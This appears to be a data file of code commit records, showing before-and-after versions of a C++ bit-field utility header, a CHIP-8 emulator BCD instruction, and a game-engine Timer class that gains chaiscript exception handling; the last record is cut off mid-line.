X_OrArgs(const T& t0, const T& t1, Args... args) {\n\t\treturn (t0^t1) | X_OrArgs(args...);\n\t}\n\n\t\/\/! 定数Nの使用ビット\n\ttemplate <int N>\n\tstruct BitLength {\n\t\tenum { length = BitLength<(N>>1)>::length + 1 };\n\t};\n\ttemplate <>\n\tstruct BitLength<0> {\n\t\tenum { length = 0 };\n\t};\n\n\t\/\/! ビットフィールド定義用\n\ttemplate <int OFS, int LEN>\n\tstruct BitF {\n\t\tenum { offset=OFS,\n\t\tlength=LEN };\n\t};\n\t\/\/! 特定のビットを対象として値を取得 & 代入\n\t\/*! \\param T 値を保持する型 (unsigned)\n\t * \t\\param OFS ビットオフセット\n\t * \t\\param LEN ビット長 *\/\n\ttemplate <class T, int OFS, int LEN>\n\tclass BitOp {\n\t\tenum { offset=OFS,\n\t\tlength=LEN };\n\t\tT&\t_value;\n\t\tconstexpr static T MASKLOW = ((1 << LEN) - 1),\n\t\tMASK = MASKLOW << OFS;\n\t\t\/\/ Tが非数値型だったりsignedな型ならコンパイルエラーを起こす\n\t\tusing Limits = std::numeric_limits<T>;\n\t\tconstexpr static int Dummy[Limits::is_specialized && Limits::is_integer && !Limits::is_signed ? 0 : -1] = {};\n\n\tpublic:\n\t\ttemplate <class P>\n\t\tBitOp(P* ptr): _value(*(T*)ptr) {}\n\t\tBitOp(T* ptr): _value(*ptr) {}\n\t\tBitOp(T& ref): _value(ref) {}\n\n\t\ttemplate <class V>\n\t\tBitOp& operator = (const V v) {\n\t\t\t\/\/ ビットクリア\n\t\t\t_value &= ~MASK;\n\t\t\t_value |= (T(v)<<OFS & MASK);\n\t\t\treturn *this;\n\t\t}\n\n\t\toperator T () const {\n\t\t\treturn (_value >> OFS) & MASKLOW;\n\t\t}\n\t};\n\t\/\/! ワードに対するビット操作\n\t\/*! \\param WORD 値を保持する型\n\t * \t\\param OFS 下位ビット位置\n\t * \t\\param LEN 処理対象ビット幅 *\/\n\ttemplate <class WORD, int OFS, int LEN>\n\tclass BitSub {\n\t\tconst static WORD MASKLOW = ((1 << LEN) - 1),\n\t\tMASK = MASKLOW << OFS;\n\t\tusing Word = WORD;\n\t\tWord&\t_word;\n\n\tpublic:\n\t\tBitSub(Word& w): _word(w) {}\n\n\t\ttemplate <class V>\n\t\tBitSub& operator = (const V v) {\n\t\t\t\/\/ ビットクリア\n\t\t\t_word &= ~MASK;\n\t\t\t_word |= (Word(v)<<OFS & MASK);\n\t\t\treturn *this;\n\t\t}\n\t\toperator Word() const {\n\t\t\treturn get(_word);\n\t\t}\n\t\tstatic Word get(const Word& w) {\n\t\t\treturn (w >> OFS) & MASKLOW;\n\t\t}\n\t\t\/\/! 違う基本型やビット位置でも交換可能だが、サイズ違いは駄目\n\t\ttemplate <class T_WORD, int T_OFS>\n\t\tvoid swap(BitSub<T_WORD, T_OFS, LEN>& bs) noexcept {\n\t\t\tWord val0(*this);\n\t\t\t(*this) = Word(bs);\n\t\t\tbs = val0;\n\t\t}\n\t};\n\t\/\/! テンプレートにてビットフィールドを定義\n\t\/*! \\param T 値を保持する型\n\t \\*param Args ビットフィールドを定義するBitOpクラス *\/\n\ttemplate <class T, class... Ts>\n\tstruct BitDef : CType<Ts...> {\n\t\t\/\/ Tが非数値型だったりsignedな型ならコンパイルエラーを起こす\n\t\tusing Limits = std::numeric_limits<T>;\n\t\tconstexpr static int UnsignedCheck[Limits::is_specialized && Limits::is_integer && !Limits::is_signed ? 0 : -1] = {};\n\n\t\tusing Word = T;\n\t};\n\t\/\/! ビットフィールドテンプレートクラス\n\t\/*! \\example\n\t\tstruct MyDef : BitDef<uint32_t, BitF<0,14>, BitF<14,6>, BitF<20,12>> {\t<br>\n\t\t\t\tenum { VAL0, VAL1, VAL2 }; };\t\t\t\t\t\t\t\t\t<br>\n\t\tusing Value = BitField<MyDef>;\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\tValue value;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\tvalue.at<Value::VAL0>() = 128;\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\tint toGet = value.at<Value::VAL0>();\n\n\t\t\\param BF BitDefクラス *\/\n\ttemplate <class BF>\n\tstruct BitField : BF {\n\t\t\/\/ BF(CTypes)から総サイズとオフセット計算\n\t\tconstexpr static int maxbit = BF::template Size<>::maxbit,\n\t\t\t\t\t\t\tbuffsize = ((maxbit-1)\/8)+1;\n\t\tusing Word = typename BF::Word;\n\t\tconstexpr static int WordCheck[buffsize > sizeof(Word) ? -1 : 0] = {};\n\n\t\tWord _word;\n\n\t\tBitField() = default;\n\t\tBitField(const BitField& bf): _word(bf.value()) {}\n\t\tBitField(const Word& w): _word(w) {}\n\t\tWord& value() { return _word; }\n\t\tconst Word& value() const { return _word; }\n\n\t\ttemplate <int N>\n\t\tusing BFAt = typename BF::template At<N>::type;\n\t\ttemplate <int N>\n\t\tusing BitSubT = BitSub<Word, BFAt<N>::offset, BFAt<N>::length>;\n\n\t\t\/\/! ビット領域参照\n\t\ttemplate <int N>\n\t\tBitSubT<N> at() {\n\t\t\treturn BitSubT<N>(_word);\n\t\t}\n\t\t\/\/! ビットフィールド値取得\n\t\ttemplate <int N>\n\t\tWord at() const {\n\t\t\treturn BitSubT<N>::get(_word);\n\t\t}\n\t\t\/\/! ビット幅マスク取得\n\t\ttemplate <int N>\n\t\tstatic Word length_mask() {\n\t\t\treturn (Word(1) << BFAt<N>::length) - 1;\n\t\t}\n\t\t\/\/! ビットマスク取得\n\t\ttemplate <int N>\n\t\tstatic Word mask() {\n\t\t\tauto ret = length_mask<N>();\n\t\t\treturn ret << BFAt<N>::offset;\n\t\t}\n\n\t\t\/\/! ビットフィールドで使う場所以外をゼロクリアした値を取得\n\t\tWord cleanedValue() const {\n\t\t\tconstexpr Word msk = (1 << maxbit)-1;\n\t\t\treturn value() & msk;\n\t\t}\n\t\tbool operator == (const BitField& bf) const { return cleanedValue() == bf.cleanedValue(); }\n\t\tbool operator != (const BitField& bf) const { return !(this->operator == (bf)); }\n\t\tbool operator < (const BitField& bf) const {\n\t\t\treturn cleanedValue() < bf.cleanedValue();\n\t\t}\n\t};\n\n\tstruct Bit {\n\t\tstatic bool Check(uint32_t val, uint32_t flag) {\n\t\t\treturn val & flag;\n\t\t}\n\t\tstatic void Clear(uint32_t& val, uint32_t flag) {\n\t\t\tval &= ~flag;\n\t\t}\n\t\tstatic void Set(uint32_t& val, uint32_t flag) {\n\t\t\tval |= flag;\n\t\t}\n\t\t\/\/! ビットチェックした結果を返し、ビットは消去する\n\t\tstatic bool ChClear(uint32_t& val, uint32_t flag) {\n\t\t\tbool bRet = Check(val, flag);\n\t\t\tClear(val, flag);\n\t\t\treturn bRet;\n\t\t}\n\t\t\/\/! 入力値の一番左のビットだけを残す\n\t\tstatic uint32_t LowClear(uint32_t x) {\n\t\t\tx = x | (x >> 1);\n\t\t\tx = x | (x >> 2);\n\t\t\tx = x | (x >> 4);\n\t\t\tx = x | (x >> 8);\n\t\t\tx = x | (x >>16);\n\t\t\treturn x & ~(x>>1);\n\t\t}\n\t\t\/\/! ビットが幾つ立っているか数える\n\t\tstatic int Count(uint32_t v) {\n\t\t\tuint32_t tmp = v & 0xaaaaaaaa;\n\t\t\tv &= 0x55555555;\n\t\t\tv = v + (tmp >> 1);\n\t\t\ttmp = v & 0xcccccccc;\n\t\t\tv &= 0x33333333;\n\t\t\tv = v + (tmp >> 2);\n\t\t\ttmp = v & 0xf0f0f0f0;\n\t\t\tv &= 0x0f0f0f0f;\n\t\t\tv = v + (tmp >> 4);\n\t\t\ttmp = v & 0xff00ff00;\n\t\t\tv &= 0x00ff00ff;\n\t\t\tv = v + (tmp >> 8);\n\t\t\ttmp = v & 0xffff0000;\n\t\t\tv &= 0x0000ffff;\n\t\t\tv = v + (tmp >> 16);\n\t\t\treturn v;\n\t\t}\n\t\t\/\/! 入力値が0なら0, それ以外は~0を返す\n\t\tstatic int32_t ZeroOrFull(int32_t v) {\n\t\t\treturn (v | -v) >> 31;\n\t\t}\n\n\t\t\/\/ ビットの位置を計算\n\t\t#ifdef USEASM_BITSEARCH\n\t\t\tstatic uint32_t MSB_N(uint32_t x) {\n\t\t\t\tuint32_t ret;\n\t\t\t\tasm(\"movl %1, %%eax;\"\n\t\t\t\t\t\"orl $0x01, %%eax;\"\n\t\t\t\t\t\"bsrl %%eax, %0;\"\n\t\t\t\t\t:\"=r\" (ret)\n\t\t\t\t\t:\"r\" (x)\n\t\t\t\t\t:\"%eax\"\n\t\t\t\t);\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t\tstatic uint32_t LSB_N(uint32_t x) {\n\t\t\t\tuint32_t ret;\n\t\t\t\tasm(\"movl %1, %%eax;\"\n\t\t\t\t\t\"orl $0x80000000, %%eax;\"\n\t\t\t\t\t\"bsfl %%eax, %0;\"\n\t\t\t\t\t:\"=r\" (ret)\n\t\t\t\t\t:\"r\" (x)\n\t\t\t\t\t:\"%eax\"\n\t\t\t\t);\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t#else\n\t\t\tconst static char NLRZ_TABLE[33];\n\t\t\t\/\/! most significant bit を取得\n\t\t\t\/*! もし入力値が0の場合は0を返す *\/\n\t\t\tstatic uint32_t MSB_N(uint32_t x) {\n\t\t\t\treturn NLRZ_TABLE[0x0aec7cd2U * LowClear(x) >> 27];\n\t\t\t}\n\t\t\t\/\/! least significant bit を取得\n\t\t\t\/*! もし入力値が0の場合は31を返す *\/\n\t\t\tstatic uint32_t LSB_N(uint32_t x) {\n\t\t\t\treturn NLRZ_TABLE[0x0aec7cd2U * (x & -x) >> 27];\n\t\t\t}\n\t\t#endif\n\n\t\t\/\/! 32bit値のエンディアン変換 [little -> bit]\n\t\tstatic uint32_t LtoB32(uint32_t v) {\n\t\t\tuint32_t a = v<<24,\n\t\t\t\tb = (v&0xff00)<<8,\n\t\t\t\tc = (v>>8)&0xff00,\n\t\t\t\td = v>>24;\n\t\t\treturn a|b|c|d;\n\t\t}\n\t\t\/\/! 16bit値のエンディアン変換 [little -> bit]\n\t\tstatic uint32_t LtoB16(uint32_t v) {\n\t\t\tuint32_t a = (v>>8)&0xff,\n\t\t\t\tb = (v&0xff)<<8;\n\t\t\treturn a|b;\n\t\t}\n\t};\n}\nnamespace std {\n\ttemplate <class W0, int OFS0, class W1, int OFS1, int LEN>\n\tinline void swap(spn::BitSub<W0,OFS0,LEN>&& b0, spn::BitSub<W1,OFS1,LEN>&& b1) { b0.swap(b1); }\n\ttemplate <class W0, int OFS0, class W1, int OFS1, int LEN>\n\tinline void swap(spn::BitSub<W0,OFS0,LEN>&& b0, spn::BitSub<W1,OFS1,LEN>& b1) { b0.swap(b1); }\n\ttemplate <class W0, int OFS0, class W1, int OFS1, int LEN>\n\tinline void swap(spn::BitSub<W0,OFS0,LEN>& b0, spn::BitSub<W1,OFS1,LEN>&& b1) { b0.swap(b1); }\n}\n<commit_msg>Bit::LowClear() をテンプレート対応にした<commit_after>#pragma once\n#include <cstdint>\n#include <limits>\n#include \"type.hpp\"\n\nnamespace spn {\n\t\/\/! 表現に何ビット使うか計算\n\t\/*! +1すればMSBの取得にもつかえる *\/\n\ttemplate <unsigned int N>\n\tstruct NBits {\n\t\tenum { result=1+NBits<((N)>>1)>::result };\n\t};\n\ttemplate <>\n\tstruct NBits<0> {\n\t\tenum { result=1 };\n\t};\n\ttemplate <>\n\tstruct NBits<1> {\n\t\tenum { result=1 };\n\t};\n\n\t\/\/! NをLで何回割れるか(と、その余り)\n\ttemplate <int N, int L, int N2=N>\n\tstruct NDivide {\n\t\ttypedef NDivide<N\/L,L,N> Lower;\n\t\tenum { result=Lower::result + ((N>=L) ? 1 : 0),\n\t\t\t\tsum=N + Lower::sum,\n\t\t\t\todd=Lower::odd };\n\t};\n\ttemplate <int L, int N2>\n\tstruct NDivide<0, L, N2> {\n\t\tenum { result=0,\n\t\t\t\tsum=0,\n\t\t\t\todd=N2 };\n\t};\n\n\t\/\/! コンパイル時累乗\n\ttemplate <int N, int P>\n\tstruct NPow {\n\t\tenum { result=NPow<N,P-1>::result * N };\n\t};\n\ttemplate <int N>\n\tstruct NPow<N,0> {\n\t\tenum { result=1 };\n\t};\n\n\t\/\/! 引数のペアを全てXORしたものをORする\n\tinline int X_OrArgs() { return 0; }\n\ttemplate <class T, class... Args>\n\tinline T X_OrArgs(const T& t0, const T& t1, Args... args) {\n\t\treturn (t0^t1) | X_OrArgs(args...);\n\t}\n\n\t\/\/! 定数Nの使用ビット\n\ttemplate <int N>\n\tstruct BitLength {\n\t\tenum { length = BitLength<(N>>1)>::length + 1 };\n\t};\n\ttemplate <>\n\tstruct BitLength<0> {\n\t\tenum { length = 0 };\n\t};\n\n\t\/\/! ビットフィールド定義用\n\ttemplate <int OFS, int LEN>\n\tstruct BitF {\n\t\tenum { offset=OFS,\n\t\tlength=LEN };\n\t};\n\t\/\/! 特定のビットを対象として値を取得 & 代入\n\t\/*! \\param T 値を保持する型 (unsigned)\n\t * \t\\param OFS ビットオフセット\n\t * \t\\param LEN ビット長 *\/\n\ttemplate <class T, int OFS, int LEN>\n\tclass BitOp {\n\t\tenum { offset=OFS,\n\t\tlength=LEN };\n\t\tT&\t_value;\n\t\tconstexpr static T MASKLOW = ((1 << LEN) - 1),\n\t\tMASK = MASKLOW << OFS;\n\t\t\/\/ Tが非数値型だったりsignedな型ならコンパイルエラーを起こす\n\t\tusing Limits = std::numeric_limits<T>;\n\t\tconstexpr static int Dummy[Limits::is_specialized && Limits::is_integer && !Limits::is_signed ? 0 : -1] = {};\n\n\tpublic:\n\t\ttemplate <class P>\n\t\tBitOp(P* ptr): _value(*(T*)ptr) {}\n\t\tBitOp(T* ptr): _value(*ptr) {}\n\t\tBitOp(T& ref): _value(ref) {}\n\n\t\ttemplate <class V>\n\t\tBitOp& operator = (const V v) {\n\t\t\t\/\/ ビットクリア\n\t\t\t_value &= ~MASK;\n\t\t\t_value |= (T(v)<<OFS & MASK);\n\t\t\treturn *this;\n\t\t}\n\n\t\toperator T () const {\n\t\t\treturn (_value >> OFS) & MASKLOW;\n\t\t}\n\t};\n\t\/\/! ワードに対するビット操作\n\t\/*! \\param WORD 値を保持する型\n\t * \t\\param OFS 下位ビット位置\n\t * \t\\param LEN 処理対象ビット幅 *\/\n\ttemplate <class WORD, int OFS, int LEN>\n\tclass BitSub {\n\t\tconst static WORD MASKLOW = ((1 << LEN) - 1),\n\t\tMASK = MASKLOW << OFS;\n\t\tusing Word = WORD;\n\t\tWord&\t_word;\n\n\tpublic:\n\t\tBitSub(Word& w): _word(w) {}\n\n\t\ttemplate <class V>\n\t\tBitSub& operator = (const V v) {\n\t\t\t\/\/ ビットクリア\n\t\t\t_word &= ~MASK;\n\t\t\t_word |= (Word(v)<<OFS & MASK);\n\t\t\treturn *this;\n\t\t}\n\t\toperator Word() const {\n\t\t\treturn get(_word);\n\t\t}\n\t\tstatic Word get(const Word& w) {\n\t\t\treturn (w >> OFS) & MASKLOW;\n\t\t}\n\t\t\/\/! 違う基本型やビット位置でも交換可能だが、サイズ違いは駄目\n\t\ttemplate <class T_WORD, int T_OFS>\n\t\tvoid swap(BitSub<T_WORD, T_OFS, LEN>& bs) noexcept {\n\t\t\tWord val0(*this);\n\t\t\t(*this) = Word(bs);\n\t\t\tbs = val0;\n\t\t}\n\t};\n\t\/\/! テンプレートにてビットフィールドを定義\n\t\/*! \\param T 値を保持する型\n\t \\*param Args ビットフィールドを定義するBitOpクラス *\/\n\ttemplate <class T, class... Ts>\n\tstruct BitDef : CType<Ts...> {\n\t\t\/\/ Tが非数値型だったりsignedな型ならコンパイルエラーを起こす\n\t\tusing Limits = std::numeric_limits<T>;\n\t\tconstexpr static int UnsignedCheck[Limits::is_specialized && Limits::is_integer && !Limits::is_signed ? 0 : -1] = {};\n\n\t\tusing Word = T;\n\t};\n\t\/\/! ビットフィールドテンプレートクラス\n\t\/*! \\example\n\t\tstruct MyDef : BitDef<uint32_t, BitF<0,14>, BitF<14,6>, BitF<20,12>> {\t<br>\n\t\t\t\tenum { VAL0, VAL1, VAL2 }; };\t\t\t\t\t\t\t\t\t<br>\n\t\tusing Value = BitField<MyDef>;\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\tValue value;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\tvalue.at<Value::VAL0>() = 128;\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\tint toGet = value.at<Value::VAL0>();\n\n\t\t\\param BF BitDefクラス *\/\n\ttemplate <class BF>\n\tstruct BitField : BF {\n\t\t\/\/ BF(CTypes)から総サイズとオフセット計算\n\t\tconstexpr static int maxbit = BF::template Size<>::maxbit,\n\t\t\t\t\t\t\tbuffsize = ((maxbit-1)\/8)+1;\n\t\tusing Word = typename BF::Word;\n\t\tconstexpr static int WordCheck[buffsize > sizeof(Word) ? -1 : 0] = {};\n\n\t\tWord _word;\n\n\t\tBitField() = default;\n\t\tBitField(const BitField& bf): _word(bf.value()) {}\n\t\tBitField(const Word& w): _word(w) {}\n\t\tWord& value() { return _word; }\n\t\tconst Word& value() const { return _word; }\n\n\t\ttemplate <int N>\n\t\tusing BFAt = typename BF::template At<N>::type;\n\t\ttemplate <int N>\n\t\tusing BitSubT = BitSub<Word, BFAt<N>::offset, BFAt<N>::length>;\n\n\t\t\/\/! ビット領域参照\n\t\ttemplate <int N>\n\t\tBitSubT<N> at() {\n\t\t\treturn BitSubT<N>(_word);\n\t\t}\n\t\t\/\/! ビットフィールド値取得\n\t\ttemplate <int N>\n\t\tWord at() const {\n\t\t\treturn BitSubT<N>::get(_word);\n\t\t}\n\t\t\/\/! ビット幅マスク取得\n\t\ttemplate <int N>\n\t\tstatic Word length_mask() {\n\t\t\treturn (Word(1) << BFAt<N>::length) - 1;\n\t\t}\n\t\t\/\/! ビットマスク取得\n\t\ttemplate <int N>\n\t\tstatic Word mask() {\n\t\t\tauto ret = length_mask<N>();\n\t\t\treturn ret << BFAt<N>::offset;\n\t\t}\n\n\t\t\/\/! ビットフィールドで使う場所以外をゼロクリアした値を取得\n\t\tWord cleanedValue() const {\n\t\t\tconstexpr Word msk = (1 << maxbit)-1;\n\t\t\treturn value() & msk;\n\t\t}\n\t\tbool operator == (const BitField& bf) const { return cleanedValue() == bf.cleanedValue(); }\n\t\tbool operator != (const BitField& bf) const { return !(this->operator == (bf)); }\n\t\tbool operator < (const BitField& bf) const {\n\t\t\treturn cleanedValue() < bf.cleanedValue();\n\t\t}\n\t};\n\n\tstruct Bit {\n\t\tstatic bool Check(uint32_t val, uint32_t flag) {\n\t\t\treturn val & flag;\n\t\t}\n\t\tstatic void Clear(uint32_t& val, uint32_t flag) {\n\t\t\tval &= ~flag;\n\t\t}\n\t\tstatic void Set(uint32_t& val, uint32_t flag) {\n\t\t\tval |= flag;\n\t\t}\n\t\t\/\/! ビットチェックした結果を返し、ビットは消去する\n\t\tstatic bool ChClear(uint32_t& val, uint32_t flag) {\n\t\t\tbool bRet = Check(val, flag);\n\t\t\tClear(val, flag);\n\t\t\treturn bRet;\n\t\t}\n\t\t\/\/! 入力値の一番左のビットだけを残す\n\t\ttemplate <class T, class=typename std::enable_if<std::is_unsigned<T>::value>::type*>\n\t\tstatic T LowClear(T x) {\n\t\t\tx = x | (x >> 1);\n\t\t\tx = x | (x >> 2);\n\t\t\tx = x | (x >> 4);\n\t\t\tx = x | (x >> 8);\n\t\t\tx = x | (x >>16);\n\t\t\treturn x & ~(x>>1);\n\t\t}\n\t\t\/\/! ビットが幾つ立っているか数える\n\t\tstatic int Count(uint32_t v) {\n\t\t\tuint32_t tmp = v & 0xaaaaaaaa;\n\t\t\tv &= 0x55555555;\n\t\t\tv = v + (tmp >> 1);\n\t\t\ttmp = v & 0xcccccccc;\n\t\t\tv &= 0x33333333;\n\t\t\tv = v + (tmp >> 2);\n\t\t\ttmp = v & 0xf0f0f0f0;\n\t\t\tv &= 0x0f0f0f0f;\n\t\t\tv = v + (tmp >> 4);\n\t\t\ttmp = v & 0xff00ff00;\n\t\t\tv &= 0x00ff00ff;\n\t\t\tv = v + (tmp >> 8);\n\t\t\ttmp = v & 0xffff0000;\n\t\t\tv &= 0x0000ffff;\n\t\t\tv = v + (tmp >> 16);\n\t\t\treturn v;\n\t\t}\n\t\t\/\/! 入力値が0なら0, それ以外は~0を返す\n\t\tstatic int32_t ZeroOrFull(int32_t v) {\n\t\t\treturn (v | -v) >> 31;\n\t\t}\n\n\t\t\/\/ ビットの位置を計算\n\t\t#ifdef USEASM_BITSEARCH\n\t\t\tstatic uint32_t MSB_N(uint32_t x) {\n\t\t\t\tuint32_t ret;\n\t\t\t\tasm(\"movl %1, %%eax;\"\n\t\t\t\t\t\"orl $0x01, %%eax;\"\n\t\t\t\t\t\"bsrl %%eax, %0;\"\n\t\t\t\t\t:\"=r\" (ret)\n\t\t\t\t\t:\"r\" (x)\n\t\t\t\t\t:\"%eax\"\n\t\t\t\t);\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t\tstatic uint32_t LSB_N(uint32_t x) {\n\t\t\t\tuint32_t ret;\n\t\t\t\tasm(\"movl %1, %%eax;\"\n\t\t\t\t\t\"orl $0x80000000, %%eax;\"\n\t\t\t\t\t\"bsfl %%eax, %0;\"\n\t\t\t\t\t:\"=r\" (ret)\n\t\t\t\t\t:\"r\" (x)\n\t\t\t\t\t:\"%eax\"\n\t\t\t\t);\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t#else\n\t\t\tconst static char NLRZ_TABLE[33];\n\t\t\t\/\/! most significant bit を取得\n\t\t\t\/*! もし入力値が0の場合は0を返す *\/\n\t\t\tstatic uint32_t MSB_N(uint32_t x) {\n\t\t\t\treturn NLRZ_TABLE[0x0aec7cd2U * LowClear(x) >> 27];\n\t\t\t}\n\t\t\t\/\/! least significant bit を取得\n\t\t\t\/*! もし入力値が0の場合は31を返す *\/\n\t\t\tstatic uint32_t LSB_N(uint32_t x) {\n\t\t\t\treturn NLRZ_TABLE[0x0aec7cd2U * (x & -x) >> 27];\n\t\t\t}\n\t\t#endif\n\n\t\t\/\/! 32bit値のエンディアン変換 [little -> bit]\n\t\tstatic uint32_t LtoB32(uint32_t v) {\n\t\t\tuint32_t a = v<<24,\n\t\t\t\tb = (v&0xff00)<<8,\n\t\t\t\tc = (v>>8)&0xff00,\n\t\t\t\td = v>>24;\n\t\t\treturn a|b|c|d;\n\t\t}\n\t\t\/\/! 16bit値のエンディアン変換 [little -> bit]\n\t\tstatic uint32_t LtoB16(uint32_t v) {\n\t\t\tuint32_t a = (v>>8)&0xff,\n\t\t\t\tb = (v&0xff)<<8;\n\t\t\treturn a|b;\n\t\t}\n\t};\n}\nnamespace std {\n\ttemplate <class W0, int OFS0, class W1, int OFS1, int LEN>\n\tinline void swap(spn::BitSub<W0,OFS0,LEN>&& b0, spn::BitSub<W1,OFS1,LEN>&& b1) { b0.swap(b1); }\n\ttemplate <class W0, int OFS0, class W1, int OFS1, int LEN>\n\tinline void swap(spn::BitSub<W0,OFS0,LEN>&& b0, spn::BitSub<W1,OFS1,LEN>& b1) { b0.swap(b1); }\n\ttemplate <class W0, int OFS0, class W1, int OFS1, int LEN>\n\tinline void swap(spn::BitSub<W0,OFS0,LEN>& b0, spn::BitSub<W1,OFS1,LEN>&& b1) { b0.swap(b1); }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * storeBCDvalueOfVxInsrtruction.cpp\n *\n * Created on: Jul 23, 2016\n * Author: Tomas Stibrany\n *\/\n#include \"storeBCDvalueOfVxInstruction.hpp\"\n#include \"..\/cpu.hpp\"\n\nusing namespace chip8::core::cpu::instructions;\nusing namespace chip8::core::cpu;\n\nStoreBCDvalueOfVxInstruction::StoreBCDvalueOfVxInstruction(u8 registerXindex, CPU *cpu) : IInstruction()\n{\n\tSetRegisterXindex(registerXindex);\n\tthis->cpu = cpu;\n}\n\nStoreBCDvalueOfVxInstruction::~StoreBCDvalueOfVxInstruction()\n{\n}\n\nvoid StoreBCDvalueOfVxInstruction::Execute()\n{\n\tu8 registerXvalue = this->cpu->ReadFromGeneralPurposeRegister(this->registerXindex);\n\t\/\/ Calculate BCD\n\tu8 bcdHundreds = registerXvalue \/ 100;\n\tu8 bcdTens = (registerXvalue - bcdHundreds) \/ 10;\n\tu8 bcdOnes = (registerXvalue - bcdHundreds - bcdTens);\n\t\/\/ Store BCD\n\tu16 address = this->cpu->ReadFromIndexRegister();\n\tthis->cpu->WriteToMemory(bcdHundreds);\n\n\tthis->cpu->WriteToIndexRegister(address + 1);\n\tthis->cpu->WriteToMemory(bcdTens);\n\n\tthis->cpu->WriteToIndexRegister(address + 2);\n\tthis->cpu->WriteToMemory(bcdOnes);\n}\n\nvoid StoreBCDvalueOfVxInstruction::SetRegisterXindex(u8 registerIndex)\n{\n\tthis->registerXindex = registerIndex;\n}\n\n\n<commit_msg>[CHG] StoreBCD instructions restores Index register value<commit_after>\/*\n * storeBCDvalueOfVxInsrtruction.cpp\n *\n * Created on: Jul 23, 2016\n * Author: Tomas Stibrany\n *\/\n#include \"storeBCDvalueOfVxInstruction.hpp\"\n#include \"..\/cpu.hpp\"\n\nusing namespace chip8::core::cpu::instructions;\nusing namespace chip8::core::cpu;\n\nStoreBCDvalueOfVxInstruction::StoreBCDvalueOfVxInstruction(u8 registerXindex, CPU *cpu) : IInstruction()\n{\n\tSetRegisterXindex(registerXindex);\n\tthis->cpu = cpu;\n}\n\nStoreBCDvalueOfVxInstruction::~StoreBCDvalueOfVxInstruction()\n{\n}\n\nvoid StoreBCDvalueOfVxInstruction::Execute()\n{\n\tu8 registerXvalue = this->cpu->ReadFromGeneralPurposeRegister(this->registerXindex);\n\t\/\/ Calculate BCD\n\tu8 bcdHundreds = registerXvalue \/ 100;\n\tu8 bcdTens = (registerXvalue - bcdHundreds) \/ 10;\n\tu8 bcdOnes = (registerXvalue - bcdHundreds - bcdTens);\n\t\/\/ Store BCD\n\tu16 address = this->cpu->ReadFromIndexRegister();\n\tthis->cpu->WriteToMemory(bcdHundreds);\n\n\tthis->cpu->WriteToIndexRegister(address + 1);\n\tthis->cpu->WriteToMemory(bcdTens);\n\n\tthis->cpu->WriteToIndexRegister(address + 2);\n\tthis->cpu->WriteToMemory(bcdOnes);\n\t\/\/ Restore Index register\n\tthis->cpu->WriteToIndexRegister(address);\n}\n\nvoid StoreBCDvalueOfVxInstruction::SetRegisterXindex(u8 registerIndex)\n{\n\tthis->registerXindex = registerIndex;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>#include \"Timer.h\"\n\nnamespace fse\n{\n\tTimer::Timer(Scene* scene) : FSEObject(scene)\n\t{\n\n\t}\n\n\tTimer::~Timer()\n\t{\n\t\t\n\t}\n\n\tvoid Timer::update(float deltaTime)\n\t{\n\t\tif (active_)\n\t\t{\n\t\t\telapsed_time_ += deltaTime;\n\t\t\twhile (elapsed_time_ * 1000 >= interval_)\n\t\t\t{\n\t\t\t\telapsed_time_ -= interval_*0.001f;\n\t\t\t\ttimeout_();\n\t\t\t\tif (single_shot_)\n\t\t\t\t{\n\t\t\t\t\tactive_ = false;\n\t\t\t\t\tgetScene()->destroyFSEObject(this);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\n\t\t}\n\t}\n\n\tvoid Timer::draw(sf::RenderTarget & target)\n\t{\n\t}\n\n\tvoid Timer::spawned()\n\t{\n\t}\n\n\tvoid Timer::stop()\n\t{\n\t\tactive_ = false;\n\t}\n\n\tvoid Timer::setInterval(int msecs)\n\t{\n\t\tinterval_ = msecs;\n\t}\n\n\tbool Timer::isActive() const\n\t{\n\t\treturn active_;\n\t}\n\n\tvoid Timer::setSingleShot(bool singleShot)\n\t{\n\t\tsingle_shot_ = singleShot;\n\t}\n\n}\n\n#include <rttr\/registration>\nRTTR_REGISTRATION\n{\n\tusing namespace rttr;\n\n\tregistration::class_<fse::Timer>(\"fse::Timer\")\n\t.constructor<>([](fse::Scene* scene)\n\t{\n\t\tscene->createFSEObject<fse::Timer>();\n\t\treturn nullptr;\n\t})\n\t(\n\t\tparameter_names(\"scene\"),\n\t\tmetadata(\"CHAI_CTOR\", true)\n\t)\n\t.constructor<>([](fse::Scene* scene, std::function<void(fse::FSEObject*)> func)\n\t{\n\t\tscene->createFSEObject<fse::Timer>(func);\n\t\treturn nullptr;\n\t})\n\t(\n\t\tparameter_names(\"scene\", \"spawnedSlot\"),\n\t\tmetadata(\"CHAI_CTOR\", true)\n\t)\n\t.property_readonly(\"active_\", &fse::Timer::active_)\n\t.property(\"single_shot_\", &fse::Timer::single_shot_)\n\t.property(\"interval_\", &fse::Timer::interval_)\n\t\/\/.method(\"start\", [](fse::Timer* timer, auto slot) { timer->start(slot); })\n\t.method(\"stop\", &fse::Timer::stop)\n\t;\n}\n<commit_msg>Timer: catch chaiscript exceptions<commit_after>#include \"Timer.h\"\n\n#include \"..\/Application.h\"\n#include <regex>\n\nnamespace fse\n{\n\tTimer::Timer(Scene* scene) : FSEObject(scene)\n\t{\n\n\t}\n\n\tTimer::~Timer()\n\t{\n\t\t\n\t}\n\n\tvoid Timer::update(float deltaTime)\n\t{\n\t\tif (active_)\n\t\t{\n\t\t\telapsed_time_ += deltaTime;\n\t\t\twhile (elapsed_time_ * 1000 >= interval_)\n\t\t\t{\n\t\t\t\telapsed_time_ -= interval_*0.001f;\n\t\t\t\t\/\/since chaiscript functions can be run, we have to catch chai exceptions\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\ttimeout_();\n\t\t\t\t} catch(chaiscript::exception::eval_error& e) {\n\t\t\t\t\tconst std::string evalString = \"puts(\\\"\" + std::regex_replace(e.pretty_print(), 